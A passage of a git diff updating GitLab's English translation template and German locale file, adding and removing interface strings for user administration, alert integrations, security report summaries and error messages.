+msgid "Your sign-in page is %{url}."
+msgstr ""
+
msgid "Your subscription expired!"
msgstr ""
@@ -31124,6 +31834,9 @@ msgstr ""
msgid "Your subscription will expire in %{remaining_days}."
msgstr ""
+msgid "Your username is %{username}."
+msgstr ""
+
msgid "Zoom meeting added"
msgstr ""
@@ -31294,13 +32007,10 @@ msgstr ""
msgid "ciReport|%{sameNum} same"
msgstr ""
-msgid "ciReport|(errors when loading results)"
-msgstr ""
-
-msgid "ciReport|(is loading)"
+msgid "ciReport|: Loading resulted in an error"
msgstr ""
-msgid "ciReport|(is loading, errors when loading results)"
+msgid "ciReport|API Fuzzing"
msgstr ""
msgid "ciReport|All projects"
@@ -31467,6 +32177,12 @@ msgstr[1] ""
msgid "ciReport|View full report"
msgstr ""
+msgid "ciReport|is loading"
+msgstr ""
+
+msgid "ciReport|is loading, errors when loading results"
+msgstr ""
+
msgid "closed issue"
msgstr ""
@@ -31485,9 +32201,6 @@ msgstr ""
msgid "committed"
msgstr ""
-msgid "connecting"
-msgstr ""
-
msgid "container_name can contain only lowercase letters, digits, '-', and '.' and must start and end with an alphanumeric character"
msgstr ""
@@ -31503,9 +32216,6 @@ msgstr ""
msgid "created %{timeAgo}"
msgstr ""
-msgid "customize"
-msgstr ""
-
msgid "data"
msgstr ""
@@ -31544,9 +32254,6 @@ msgstr ""
msgid "does not have a supported extension. Only %{extension_list} are supported"
msgstr ""
-msgid "done"
-msgstr ""
-
msgid "download it"
msgstr ""
@@ -31635,6 +32342,9 @@ msgstr ""
msgid "for this project"
msgstr ""
+msgid "fork"
+msgstr ""
+
msgid "fork this project"
msgstr ""
@@ -31661,6 +32371,9 @@ msgstr ""
msgid "has already been taken"
msgstr ""
+msgid "has been completed."
+msgstr ""
+
msgid "help"
msgstr ""
@@ -31682,7 +32395,7 @@ msgstr ""
msgid "import flow"
msgstr ""
-msgid "importing"
+msgid "in"
msgstr ""
msgid "in group %{link_to_group}"
@@ -32211,6 +32924,9 @@ msgstr ""
msgid "no one can merge"
msgstr ""
+msgid "no scopes selected"
+msgstr ""
+
msgid "none"
msgstr ""
@@ -32238,6 +32954,9 @@ msgstr ""
msgid "open issue"
msgstr ""
+msgid "opened %{timeAgoString} by %{email} via %{user}"
+msgstr ""
+
msgid "opened %{timeAgoString} by %{user}"
msgstr ""
@@ -32250,6 +32969,9 @@ msgstr ""
msgid "or"
msgstr ""
+msgid "originating vulnerability"
+msgstr ""
+
msgid "out of %d total test"
msgid_plural "out of %d total tests"
msgstr[0] ""
@@ -32327,6 +33049,9 @@ msgstr ""
msgid "project members"
msgstr ""
+msgid "project name"
+msgstr ""
+
msgid "projects"
msgstr ""
@@ -32380,6 +33105,9 @@ msgstr ""
msgid "security Reports|There was an error creating the merge request"
msgstr ""
+msgid "severity|Blocker"
+msgstr ""
+
msgid "severity|Critical"
msgstr ""
@@ -32392,9 +33120,15 @@ msgstr ""
msgid "severity|Low"
msgstr ""
+msgid "severity|Major"
+msgstr ""
+
msgid "severity|Medium"
msgstr ""
+msgid "severity|Minor"
+msgstr ""
+
msgid "severity|None"
msgstr ""
@@ -32443,9 +33177,6 @@ msgstr ""
msgid "ssh:"
msgstr ""
-msgid "started"
-msgstr ""
-
msgid "started a discussion on %{design_link}"
msgstr ""
@@ -32476,10 +33207,10 @@ msgstr ""
msgid "suggestPipeline|We’re adding a GitLab CI configuration file to add a pipeline to the project. You could create it manually, but we recommend that you start with a GitLab template that works out of the box."
msgstr ""
-msgid "syntax is correct"
+msgid "syntax is correct."
msgstr ""
-msgid "syntax is incorrect"
+msgid "syntax is incorrect."
msgstr ""
msgid "tag name"
@@ -32488,6 +33219,9 @@ msgstr ""
msgid "teammate%{number}@company.com"
msgstr ""
+msgid "the correct format."
+msgstr ""
+
msgid "the following issue(s)"
msgstr ""
@@ -32497,6 +33231,9 @@ msgstr ""
msgid "time summary"
msgstr ""
+msgid "to automatically add approvers based on file paths and file types."
+msgstr ""
+
msgid "to help your contributors communicate effectively!"
msgstr ""
@@ -32569,6 +33306,11 @@ msgstr ""
msgid "view the source"
msgstr ""
+msgid "vulnerability"
+msgid_plural "vulnerabilities"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "vulnerability|Add a comment"
msgstr ""
diff --git a/locale/de/gitlab.po b/locale/de/gitlab.po
index 0a5e382d6fc..3a57ac52aab 100644
--- a/locale/de/gitlab.po
+++ b/locale/de/gitlab.po
@@ -14,9 +14,9 @@ msgstr ""
"X-Crowdin-Language: de\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2020-11-03 22:47\n"
+"PO-Revision-Date: 2020-12-03 08:16\n"
-msgid " %{project_name}#%{issue_iid} &middot; opened %{issue_created} by %{author}"
+msgid " %{project_name}#%{issuable_iid} &middot; opened %{issuable_created} by %{author}"
msgstr ""
msgid " %{start} to %{end}"
@@ -82,6 +82,11 @@ msgid_plural "%d Approvals"
msgstr[0] ""
msgstr[1] ""
+msgid "%d Other"
+msgid_plural "%d Others"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d Package"
msgid_plural "%d Packages"
msgstr[0] ""
@@ -165,13 +170,13 @@ msgid_plural "%d days"
msgstr[0] ""
msgstr[1] ""
-msgid "%d day until tags are automatically removed"
-msgid_plural "%d days until tags are automatically removed"
+msgid "%d error"
+msgid_plural "%d errors"
msgstr[0] ""
msgstr[1] ""
-msgid "%d error"
-msgid_plural "%d errors"
+msgid "%d error found:"
+msgid_plural "%d errors found:"
msgstr[0] ""
msgstr[1] ""
@@ -351,24 +356,15 @@ msgstr "%{actionText} & %{openOrClose} %{noteable}"
msgid "%{address} is an invalid IP address range"
msgstr ""
+msgid "%{anchorOpen}Learn more%{anchorClose} about how you can customize / disable registration on your instance."
+msgstr ""
+
msgid "%{author_link} wrote:"
msgstr ""
msgid "%{authorsName}'s thread"
msgstr "%{authorsName}s Unterhaltung"
-msgid "%{code_open}\"johnsmith@example.com\": \"@johnsmith\"%{code_close} will add \"By %{link_open}@johnsmith%{link_close}\" to all issues and comments originally created by johnsmith@example.com, and will set %{link_open}@johnsmith%{link_close} as the assignee on all issues originally assigned to johnsmith@example.com."
-msgstr ""
-
-msgid "%{code_open}\"johnsmith@example.com\": \"John Smith\"%{code_close} will add \"By John Smith\" to all issues and comments originally created by johnsmith@example.com."
-msgstr ""
-
-msgid "%{code_open}\"johnsmith@example.com\": \"johnsm...@example.com\"%{code_close} will add \"By johnsm...@example.com\" to all issues and comments originally created by johnsmith@example.com. The email address or username is masked to ensure the user's privacy."
-msgstr ""
-
-msgid "%{code_open}\"johnsmith@example.com\": \"johnsmith@example.com\"%{code_close} will add \"By %{link_open}johnsmith@example.com%{link_close}\" to all issues and comments originally created by johnsmith@example.com. By default, the email address or username is masked to ensure the user's privacy. Use this option if you want to show the full email address."
-msgstr ""
-
msgid "%{code_open}Masked%{code_close} variables are hidden in job logs (though they must match certain regexp requirements to do so)."
msgstr ""
@@ -445,6 +441,9 @@ msgstr "%{count} verwandte %{pluralized_subject}: %{links}"
msgid "%{count} total weight"
msgstr ""
+msgid "%{criticalStart}%{critical} Critical%{criticalEnd} %{highStart}%{high} High%{highEnd} and %{otherStart}%{otherMessage}%{otherEnd}"
+msgstr ""
+
msgid "%{dashboard_path} could not be found."
msgstr ""
@@ -517,21 +516,27 @@ msgstr ""
msgid "%{host} sign-in from new location"
msgstr ""
-msgid "%{icon}You are about to add %{usersTag} people to the discussion. They will all receive a notification."
-msgstr ""
-
msgid "%{integrations_link_start}Integrations%{link_end} enable you to make third-party applications part of your GitLab workflow. If the available integrations don't meet your needs, consider using a %{webhooks_link_start}webhook%{link_end}."
msgstr ""
msgid "%{issuableType} will be removed! Are you sure?"
msgstr "%{issuableType} wird entfernt! Bist du sicher?"
+msgid "%{issueType} actions"
+msgstr ""
+
msgid "%{issuesCount} issues with a limit of %{maxIssueCount}"
msgstr ""
msgid "%{issuesSize} with a limit of %{maxIssueCount}"
msgstr ""
+msgid "%{labelStart}Actual response:%{labelEnd} %{headers}"
+msgstr ""
+
+msgid "%{labelStart}Assert:%{labelEnd} %{assertion}"
+msgstr ""
+
msgid "%{labelStart}Class:%{labelEnd} %{class}"
msgstr ""
@@ -547,9 +552,6 @@ msgstr ""
msgid "%{labelStart}File:%{labelEnd} %{file}"
msgstr ""
-msgid "%{labelStart}Headers:%{labelEnd} %{headers}"
-msgstr ""
-
msgid "%{labelStart}Image:%{labelEnd} %{image}"
msgstr ""
@@ -565,13 +567,13 @@ msgstr ""
msgid "%{labelStart}Scanner:%{labelEnd} %{scanner}"
msgstr ""
-msgid "%{labelStart}Severity:%{labelEnd} %{severity}"
+msgid "%{labelStart}Sent request:%{labelEnd} %{headers}"
msgstr ""
-msgid "%{labelStart}Status:%{labelEnd} %{status}"
+msgid "%{labelStart}Severity:%{labelEnd} %{severity}"
msgstr ""
-msgid "%{labelStart}URL:%{labelEnd} %{url}"
+msgid "%{labelStart}Unmodified response:%{labelEnd} %{headers}"
msgstr ""
msgid "%{label_for_message} unavailable"
@@ -604,9 +606,6 @@ msgstr ""
msgid "%{listToShow}, and %{awardsListLength} more."
msgstr "%{listToShow} und %{awardsListLength} weitere."
-msgid "%{loadingIcon} Started"
-msgstr "%{loadingIcon} Gestartet"
-
msgid "%{location} is missing required keys: %{keys}"
msgstr ""
@@ -707,34 +706,13 @@ msgstr[1] "%{releases} Releases"
msgid "%{remaining_approvals} left"
msgstr ""
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} and %{highStart}%{high} high%{highEnd} severity vulnerabilities out of %{total}."
+msgid "%{reportType} %{status}"
msgstr ""
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} and %{highStart}%{high} high%{highEnd} severity vulnerabilities."
+msgid "%{reportType} detected %{totalStart}%{total}%{totalEnd} potential %{vulnMessage}"
msgstr ""
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} severity vulnerabilities out of %{total}."
-msgstr ""
-
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} severity vulnerability."
-msgid_plural "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} severity vulnerabilities."
-msgstr[0] ""
-msgstr[1] ""
-
-msgid "%{reportType} %{status} detected %{highStart}%{high} high%{highEnd} severity vulnerabilities out of %{total}."
-msgstr ""
-
-msgid "%{reportType} %{status} detected %{highStart}%{high} high%{highEnd} severity vulnerability."
-msgid_plural "%{reportType} %{status} detected %{highStart}%{high} high%{highEnd} severity vulnerabilities."
-msgstr[0] ""
-msgstr[1] ""
-
-msgid "%{reportType} %{status} detected %{other} vulnerability."
-msgid_plural "%{reportType} %{status} detected %{other} vulnerabilities."
-msgstr[0] ""
-msgstr[1] ""
-
-msgid "%{reportType} %{status} detected no vulnerabilities."
+msgid "%{reportType} detected %{totalStart}no%{totalEnd} vulnerabilities."
msgstr ""
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
@@ -792,6 +770,9 @@ msgstr ""
msgid "%{strongStart}Note:%{strongEnd} Once a custom stage has been added you can re-order stages by dragging them into the desired position."
msgstr ""
+msgid "%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}"
+msgstr ""
+
msgid "%{strong_start}%{branch_count}%{strong_end} Branch"
msgid_plural "%{strong_start}%{branch_count}%{strong_end} Branches"
msgstr[0] "%{strong_start}%{branch_count}%{strong_end} Branch"
@@ -889,6 +870,9 @@ msgstr "Avatar von %{userName}"
msgid "%{user_name} profile page"
msgstr "Profileseite von %{user_name}"
+msgid "%{username} has asked for a GitLab account on your instance %{host}:"
+msgstr ""
+
msgid "%{username}'s avatar"
msgstr "Avatar von %{username}"
@@ -907,12 +891,6 @@ msgstr ""
msgid "&lt; 1 hour"
msgstr ""
-msgid "&lt;no scopes selected&gt;"
-msgstr ""
-
-msgid "&lt;project name&gt;"
-msgstr ""
-
msgid "'%{data}' at %{location} does not match format: %{format}"
msgstr ""
@@ -1506,9 +1484,6 @@ msgstr ""
msgid "Actions"
msgstr ""
-msgid "Activate"
-msgstr "Aktivieren"
-
msgid "Activate Service Desk"
msgstr "Service-Desk aktivieren"
@@ -1856,9 +1831,15 @@ msgstr "Adminmodus aktiviert"
msgid "Admin notes"
msgstr "Admin-Notizen"
+msgid "AdminArea|%{billable_users_link_start}Learn more%{billable_users_link_end} about what defines a billable user"
+msgstr ""
+
msgid "AdminArea|Active users"
msgstr ""
+msgid "AdminArea|All users created in the instance, including users who are not %{billable_users_link_start}billable users%{billable_users_link_end}."
+msgstr ""
+
msgid "AdminArea|Billable users"
msgstr ""
@@ -2081,6 +2062,15 @@ msgstr ""
msgid "AdminUsers|Access the API"
msgstr ""
+msgid "AdminUsers|Activate"
+msgstr ""
+
+msgid "AdminUsers|Activate user"
+msgstr ""
+
+msgid "AdminUsers|Activate user %{username}?"
+msgstr ""
+
msgid "AdminUsers|Active"
msgstr "Aktiv"
@@ -2129,18 +2119,21 @@ msgstr "Blockiert"
msgid "AdminUsers|Blocking user has the following effects:"
msgstr "Benutzer(in) zu blockieren hat folgende Auswirkungen:"
+msgid "AdminUsers|Cannot sign in or access instance information"
+msgstr ""
+
msgid "AdminUsers|Cannot unblock LDAP blocked users"
msgstr "Kann gesperrte LDAP-Benutzer(innen) nicht entsperren"
msgid "AdminUsers|Deactivate"
msgstr "Deakivieren"
-msgid "AdminUsers|Deactivate User %{username}?"
-msgstr "Benutzer(in) %{username} deaktivieren?"
-
msgid "AdminUsers|Deactivate user"
msgstr "Benutzer(in) deaktivieren"
+msgid "AdminUsers|Deactivate user %{username}?"
+msgstr ""
+
msgid "AdminUsers|Deactivated"
msgstr "Deaktiviert"
@@ -2165,6 +2158,9 @@ msgstr "Extern"
msgid "AdminUsers|External users cannot see internal or private projects unless access is explicitly granted. Also, external users cannot create projects, groups, or personal snippets."
msgstr ""
+msgid "AdminUsers|For more information, please refer to the %{link_start}user account deletion documentation.%{link_end}"
+msgstr ""
+
msgid "AdminUsers|Is using seat"
msgstr ""
@@ -2201,6 +2197,15 @@ msgstr ""
msgid "AdminUsers|Regular users have access to their groups and projects"
msgstr ""
+msgid "AdminUsers|Reject"
+msgstr ""
+
+msgid "AdminUsers|Reject request"
+msgstr ""
+
+msgid "AdminUsers|Rejected users:"
+msgstr ""
+
msgid "AdminUsers|Restore user access to the account, including web, Git and API."
msgstr "Zugriff auf das Konto wiederherstellen, einschließlich Web, Git und API."
@@ -2240,6 +2245,15 @@ msgstr "Zur Bestätigung %{projectName} eingeben"
msgid "AdminUsers|To confirm, type %{username}"
msgstr "Zur Bestätigung %{username} eingeben"
+msgid "AdminUsers|Unblock"
+msgstr ""
+
+msgid "AdminUsers|Unblock user"
+msgstr ""
+
+msgid "AdminUsers|Unblock user %{username}?"
+msgstr ""
+
msgid "AdminUsers|User will not be able to access git repositories"
msgstr "Diese(r) Benutzer(in) kann nicht auf Git-Repositories zugreifen"
@@ -2249,6 +2263,9 @@ msgstr "Benutzer(in) wird sich nicht anmelden können"
msgid "AdminUsers|When the user logs back in, their account will reactivate as a fully active account"
msgstr "Wenn diese(r) Benutzer(in) sich wieder anmeldet, wird das Konto vollständig reaktiviert"
+msgid "AdminUsers|Will be deleted"
+msgstr ""
+
msgid "AdminUsers|Without projects"
msgstr "Ohne Projekte"
@@ -2258,6 +2275,15 @@ msgstr ""
msgid "AdminUsers|You are about to permanently delete the user %{username}. This will delete all of the issues, merge requests, and groups linked to them. To avoid data loss, consider using the %{strongStart}block user%{strongEnd} feature instead. Once you %{strongStart}Delete user%{strongEnd}, it cannot be undone or recovered."
msgstr ""
+msgid "AdminUsers|You can always block their account again if needed."
+msgstr ""
+
+msgid "AdminUsers|You can always deactivate their account again if needed."
+msgstr ""
+
+msgid "AdminUsers|You can always re-activate their account, their data will remain intact."
+msgstr ""
+
msgid "AdminUsers|You can always unblock their account, their data will remain intact."
msgstr ""
@@ -2270,7 +2296,13 @@ msgstr ""
msgid "Administration"
msgstr ""
-msgid "Adoption"
+msgid "Admin|Additional users must be reviewed and approved by a system administrator. Learn more about %{help_link_start}usage caps%{help_link_end}."
+msgstr ""
+
+msgid "Admin|View pending user approvals"
+msgstr ""
+
+msgid "Admin|Your instance has reached its user cap"
msgstr ""
msgid "Advanced"
@@ -2482,6 +2514,24 @@ msgstr ""
msgid "AlertManagement|You have enabled the Opsgenie integration. Your alerts will be visible directly in Opsgenie."
msgstr ""
+msgid "AlertMappingBuilder|Define fallback"
+msgstr ""
+
+msgid "AlertMappingBuilder|GitLab alert key"
+msgstr ""
+
+msgid "AlertMappingBuilder|Make selection"
+msgstr ""
+
+msgid "AlertMappingBuilder|Payload alert key"
+msgstr ""
+
+msgid "AlertMappingBuilder|Select key"
+msgstr ""
+
+msgid "AlertMappingBuilder|Title is a required field for alerts in GitLab. Should the payload field you specified not be available, specifiy which field we should use instead. "
+msgstr ""
+
msgid "AlertService|Review your external service's documentation to learn where to provide this information to your external service, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
msgstr ""
@@ -2491,9 +2541,18 @@ msgstr ""
msgid "AlertSettings|1. Select integration type"
msgstr ""
+msgid "AlertSettings|2. Add link to your Opsgenie alert list"
+msgstr ""
+
msgid "AlertSettings|2. Name integration"
msgstr ""
+msgid "AlertSettings|3. Set up webhook"
+msgstr ""
+
+msgid "AlertSettings|4. Sample alert payload (optional)"
+msgstr ""
+
msgid "AlertSettings|5. Map fields (optional)"
msgstr ""
@@ -2521,6 +2580,12 @@ msgstr ""
msgid "AlertSettings|Copy"
msgstr ""
+msgid "AlertSettings|Delete integration"
+msgstr ""
+
+msgid "AlertSettings|Edit payload"
+msgstr ""
+
msgid "AlertSettings|Enter integration name"
msgstr ""
@@ -2533,7 +2598,13 @@ msgstr ""
msgid "AlertSettings|HTTP Endpoint"
msgstr ""
-msgid "AlertSettings|HTTP endpoint"
+msgid "AlertSettings|If you edit the payload, the stored mapping will be reset, and you'll need to re-map the fields."
+msgstr ""
+
+msgid "AlertSettings|If you've provided a sample alert payload, you can create a custom mapping for your endpoint. The default GitLab alert keys are listed below. Please define which payload key should map to the specified GitLab key."
+msgstr ""
+
+msgid "AlertSettings|In free versions of GitLab, only one integration for each type can be added. %{linkStart}Upgrade your subscription%{linkEnd} to add additional integrations."
msgstr ""
msgid "AlertSettings|Integration"
@@ -2542,27 +2613,51 @@ msgstr ""
msgid "AlertSettings|Learn more about our our upcoming %{linkStart}integrations%{linkEnd}"
msgstr ""
-msgid "AlertSettings|Learn more about our upcoming %{linkStart}integrations%{linkEnd}"
+msgid "AlertSettings|Opsgenie"
msgstr ""
-msgid "AlertSettings|Opsgenie"
+msgid "AlertSettings|Proceed with editing"
+msgstr ""
+
+msgid "AlertSettings|Prometheus API base URL"
+msgstr ""
+
+msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This payload can be used to create a custom mapping (optional), or to test the integration (also optional)."
+msgstr ""
+
+msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This payload can be used to test the integration (optional)."
+msgstr ""
+
+msgid "AlertSettings|Reset Key"
msgstr ""
msgid "AlertSettings|Reset key"
msgstr ""
+msgid "AlertSettings|Reset the mapping"
+msgstr ""
+
msgid "AlertSettings|Resetting the authorization key for this project will require updating the authorization key in every alert source it is enabled in."
msgstr ""
msgid "AlertSettings|Review your external service's documentation to learn where to provide this information to your external service, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
msgstr ""
+msgid "AlertSettings|Sample payload has been parsed. You can now map the fields."
+msgstr ""
+
+msgid "AlertSettings|Save and test payload"
+msgstr ""
+
msgid "AlertSettings|Save integration"
msgstr ""
msgid "AlertSettings|Select integration type"
msgstr ""
+msgid "AlertSettings|Submit payload"
+msgstr ""
+
msgid "AlertSettings|Test alert payload"
msgstr ""
@@ -2572,9 +2667,6 @@ msgstr ""
msgid "AlertSettings|Test failed. Do you still want to save your changes anyway?"
msgstr ""
-msgid "AlertSettings|The default GitLab alert keys are listed below. In the event an exact match could be found in the sample payload provided, that key will be mapped automatically. In all other cases, please define which payload key should map to the specified GitLab key. Any payload keys not shown in this list will not display in the alert list, but will display on the alert details page."
-msgstr ""
-
msgid "AlertSettings|There was an error updating the alert settings."
msgstr ""
@@ -2584,6 +2676,18 @@ msgstr ""
msgid "AlertSettings|URL cannot be blank and must start with http or https"
msgstr ""
+msgid "AlertSettings|Utilize the URL and authorization key below to authorize Prometheus to send alerts to GitLab. Review the Prometheus documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
+msgstr ""
+
+msgid "AlertSettings|Utilize the URL and authorization key below to authorize an external service to send alerts to GitLab. Review your external service's documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
+msgstr ""
+
+msgid "AlertSettings|Utilizing this option will link the GitLab Alerts navigation item to your existing Opsgenie instance. By selecting this option, you cannot receive alerts from any other source in GitLab; it will effectively be turning Alerts within GitLab off as a feature."
+msgstr ""
+
+msgid "AlertSettings|We will soon be introducing the ability to create multiple unique HTTP endpoints. When this functionality is live, you will be able to configure an integration with Opsgenie to surface Opsgenie alerts in GitLab. This will replace the current Opsgenie integration which will be deprecated. %{linkStart}More Information%{linkEnd}"
+msgstr ""
+
msgid "AlertSettings|Webhook URL"
msgstr ""
@@ -2596,6 +2700,9 @@ msgstr ""
msgid "AlertSettings|Your integration was successfully updated."
msgstr ""
+msgid "AlertSettings|{ \"events\": [{ \"application\": \"Name of application\" }] }"
+msgstr ""
+
msgid "Alerts"
msgstr "Alarme"
@@ -2611,16 +2718,37 @@ msgstr ""
msgid "AlertsIntegrations|Current integrations"
msgstr ""
-msgid "AlertsIntegrations|HTTP endpoint"
+msgid "AlertsIntegrations|Integration Name"
msgstr ""
-msgid "AlertsIntegrations|Integration Name"
+msgid "AlertsIntegrations|Integration payload is invalid. You can still save your changes."
msgstr ""
msgid "AlertsIntegrations|No integrations have been added yet"
msgstr ""
-msgid "AlertsIntegrations|Prometheus"
+msgid "AlertsIntegrations|The current integration could not be updated. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration could not be added. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration could not be deleted. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration has been successfully removed."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration has been successfully saved. Alerts from this new integration should now appear on your alerts list."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration token could not be reset. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The test alert has been successfully sent, and should now be visible on your alerts list."
+msgstr ""
+
+msgid "AlertsIntegrations|You have opted to delete the %{integrationName} integration. Do you want to proceed? It means you will no longer receive alerts from this endpoint in your alert list, and this action cannot be undone."
msgstr ""
msgid "Algorithm"
@@ -2725,6 +2853,9 @@ msgstr "Erlaube den öffentlichen Zugriff auf Pipelines und Jobdetails, einschli
msgid "Allow rendering of PlantUML diagrams in Asciidoc documents."
msgstr "Rendering von PlantUML-Diagrammen in Asciidoc-Dokumenten erlauben."
+msgid "Allow rendering of diagrams in AsciiDoc and Markdown documents using %{link}."
+msgstr ""
+
msgid "Allow repository mirroring to be configured by project maintainers"
msgstr ""
@@ -2842,9 +2973,6 @@ msgstr ""
msgid "An error has occurred"
msgstr "Es ist ein Fehler aufgetreten"
-msgid "An error has occurred fetching instructions"
-msgstr ""
-
msgid "An error occured while making the changes: %{error}"
msgstr ""
@@ -2965,9 +3093,6 @@ msgstr ""
msgid "An error occurred while fetching terraform reports."
msgstr ""
-msgid "An error occurred while fetching the Service Desk address."
-msgstr "Beim Abrufen der Service-Desk-Adresse ist ein Fehler aufgetreten."
-
msgid "An error occurred while fetching the board lists. Please try again."
msgstr "Beim Abrufen der Board-Listen ist ein Fehler aufgetreten. Bitte versuche es erneut."
@@ -3001,18 +3126,21 @@ msgstr "Beim Abrufen des Tabs ist ein Fehler aufgetreten."
msgid "An error occurred while generating a username. Please try again."
msgstr "Beim Erzeugen des Benutzernames trat ein Fehler auf. Bitte versuche es erneut."
+msgid "An error occurred while getting autocomplete data. Please refresh the page and try again."
+msgstr ""
+
msgid "An error occurred while getting files for - %{branchId}"
msgstr ""
msgid "An error occurred while getting projects"
msgstr "Beim Abrufen der Projekte ist ein Fehler aufgetreten"
-msgid "An error occurred while importing project: %{details}"
-msgstr "Beim Importieren des Projektes ist ein Fehler aufgetreten: %{details}"
-
msgid "An error occurred while initializing path locks"
msgstr "Beim Initialisieren der Pfadsperren ist ein Fehler aufgetreten"
+msgid "An error occurred while loading a section of this page."
+msgstr ""
+
msgid "An error occurred while loading all the files."
msgstr ""
@@ -3067,6 +3195,9 @@ msgstr ""
msgid "An error occurred while loading the merge request."
msgstr ""
+msgid "An error occurred while loading the pipeline."
+msgstr ""
+
msgid "An error occurred while loading the pipelines jobs."
msgstr ""
@@ -3094,9 +3225,6 @@ msgstr "Beim Rendern der Vorschau der Broadcast-Nachricht ist ein Fehler aufgetr
msgid "An error occurred while rendering the editor"
msgstr ""
-msgid "An error occurred while rendering the linter"
-msgstr ""
-
msgid "An error occurred while reordering issues."
msgstr "Beim Umordnen von Tickets ist ein Fehler aufgetreten."
@@ -3127,6 +3255,9 @@ msgstr "Beim Abonnieren von Benachrichtigungen ist ein Fehler aufgetreten."
msgid "An error occurred while triggering the job."
msgstr "Beim Starten des Jobs ist ein Fehler aufgetreten."
+msgid "An error occurred while trying to generate the report. Please try again later."
+msgstr ""
+
msgid "An error occurred while trying to run a new pipeline for this Merge Request."
msgstr "Beim Versuch, eine neue Pipeline für den Merge-Request zu starten, ist ein Fehler aufgetreten."
@@ -3145,6 +3276,9 @@ msgstr ""
msgid "An error occurred while updating the comment"
msgstr "Beim Aktualisieren des Kommentars ist ein Fehler aufgetreten"
+msgid "An error occurred while updating the milestone."
+msgstr ""
+
msgid "An error occurred while validating group path"
msgstr ""
@@ -3331,6 +3465,12 @@ msgstr ""
msgid "Apply suggestion"
msgstr "Vorschlag anwenden"
+msgid "Apply suggestion commit message"
+msgstr ""
+
+msgid "Apply suggestion on %{fileName}"
+msgstr ""
+
msgid "Apply suggestions"
msgstr ""
@@ -3393,6 +3533,9 @@ msgid_plural "ApprovalRuleSummary|%{count} approvals required from %{membersCoun
msgstr[0] "%{count} Zustimmung von %{membersCount} nötig"
msgstr[1] "%{count} Zustimmungen von %{membersCount} nötig"
+msgid "ApprovalRule|Approval rules"
+msgstr ""
+
msgid "ApprovalRule|Approvers"
msgstr "Genehmigungsberechtigte(r)"
@@ -3474,6 +3617,9 @@ msgstr ""
msgid "Archived"
msgstr ""
+msgid "Archived (%{movedToStart}moved%{movedToEnd})"
+msgstr ""
+
msgid "Archived in this version"
msgstr ""
@@ -3525,9 +3671,6 @@ msgstr "Möchtest du dieses Board wirklich löschen?"
msgid "Are you sure you want to delete this device? This action cannot be undone."
msgstr ""
-msgid "Are you sure you want to delete this list?"
-msgstr "Möchtest du wirklich diese Liste löschen?"
-
msgid "Are you sure you want to delete this pipeline schedule?"
msgstr "Bist Du sicher, dass Du diesen Pipeline-Zeitplan löschen möchtest?"
@@ -3578,6 +3721,9 @@ msgstr ""
msgid "Are you sure you want to remove this identity?"
msgstr "Bist du sicher, dass du diese Identität entfernen willst?"
+msgid "Are you sure you want to remove this list?"
+msgstr ""
+
msgid "Are you sure you want to reset registration token?"
msgstr "Bist du sicher, dass du den Registrierungstoken zurücksetzen willst?"
@@ -3852,6 +3998,12 @@ msgstr "Authentifizieren"
msgid "Authenticate with GitHub"
msgstr "Mit GitHub authentifizieren"
+msgid "Authenticated API request rate limit"
+msgstr ""
+
+msgid "Authenticated web request rate limit"
+msgstr ""
+
msgid "Authenticating"
msgstr ""
@@ -3972,6 +4124,9 @@ msgstr ""
msgid "AutoRemediation|%{mrsCount} ready for review"
msgstr ""
+msgid "AutoRemediation|Auto-fix solution available"
+msgstr ""
+
msgid "AutoRemediation|Auto-fix solutions"
msgstr ""
@@ -4260,12 +4415,18 @@ msgstr ""
msgid "BillingPlan|Upgrade"
msgstr ""
+msgid "Billing|An email address is only visible for users managed through Group Managed Accounts."
+msgstr ""
+
msgid "Billing|An error occurred while loading billable members list"
msgstr ""
msgid "Billing|No users to display."
msgstr ""
+msgid "Billing|Private"
+msgstr ""
+
msgid "Billing|Updated live"
msgstr ""
@@ -4290,6 +4451,11 @@ msgstr ""
msgid "Blocked"
msgstr "Gesperrt"
+msgid "Blocked by %d issue"
+msgid_plural "Blocked by %d issues"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Blocked issue"
msgstr ""
@@ -4341,6 +4507,9 @@ msgstr ""
msgid "Boards|An error occurred while moving the issue. Please try again."
msgstr ""
+msgid "Boards|An error occurred while removing the list. Please try again."
+msgstr ""
+
msgid "Boards|An error occurred while updating the list. Please try again."
msgstr ""
@@ -4599,9 +4768,6 @@ msgstr ""
msgid "By %{user_name}"
msgstr "Von %{user_name}"
-msgid "By URL"
-msgstr ""
-
msgid "By clicking Register, I agree that I have read and accepted the %{company_name} %{linkStart}Terms of Use and Privacy Policy%{linkEnd}"
msgstr ""
@@ -4629,6 +4795,9 @@ msgstr "CI/CD-Einstellungen"
msgid "CI Lint"
msgstr "CI Lint"
+msgid "CI configuration validated, including all configuration added with the %{codeStart}includes%{codeEnd} keyword. %{link}"
+msgstr ""
+
msgid "CI settings"
msgstr ""
@@ -4725,6 +4894,9 @@ msgstr ""
msgid "Can't apply this suggestion."
msgstr ""
+msgid "Can't be empty"
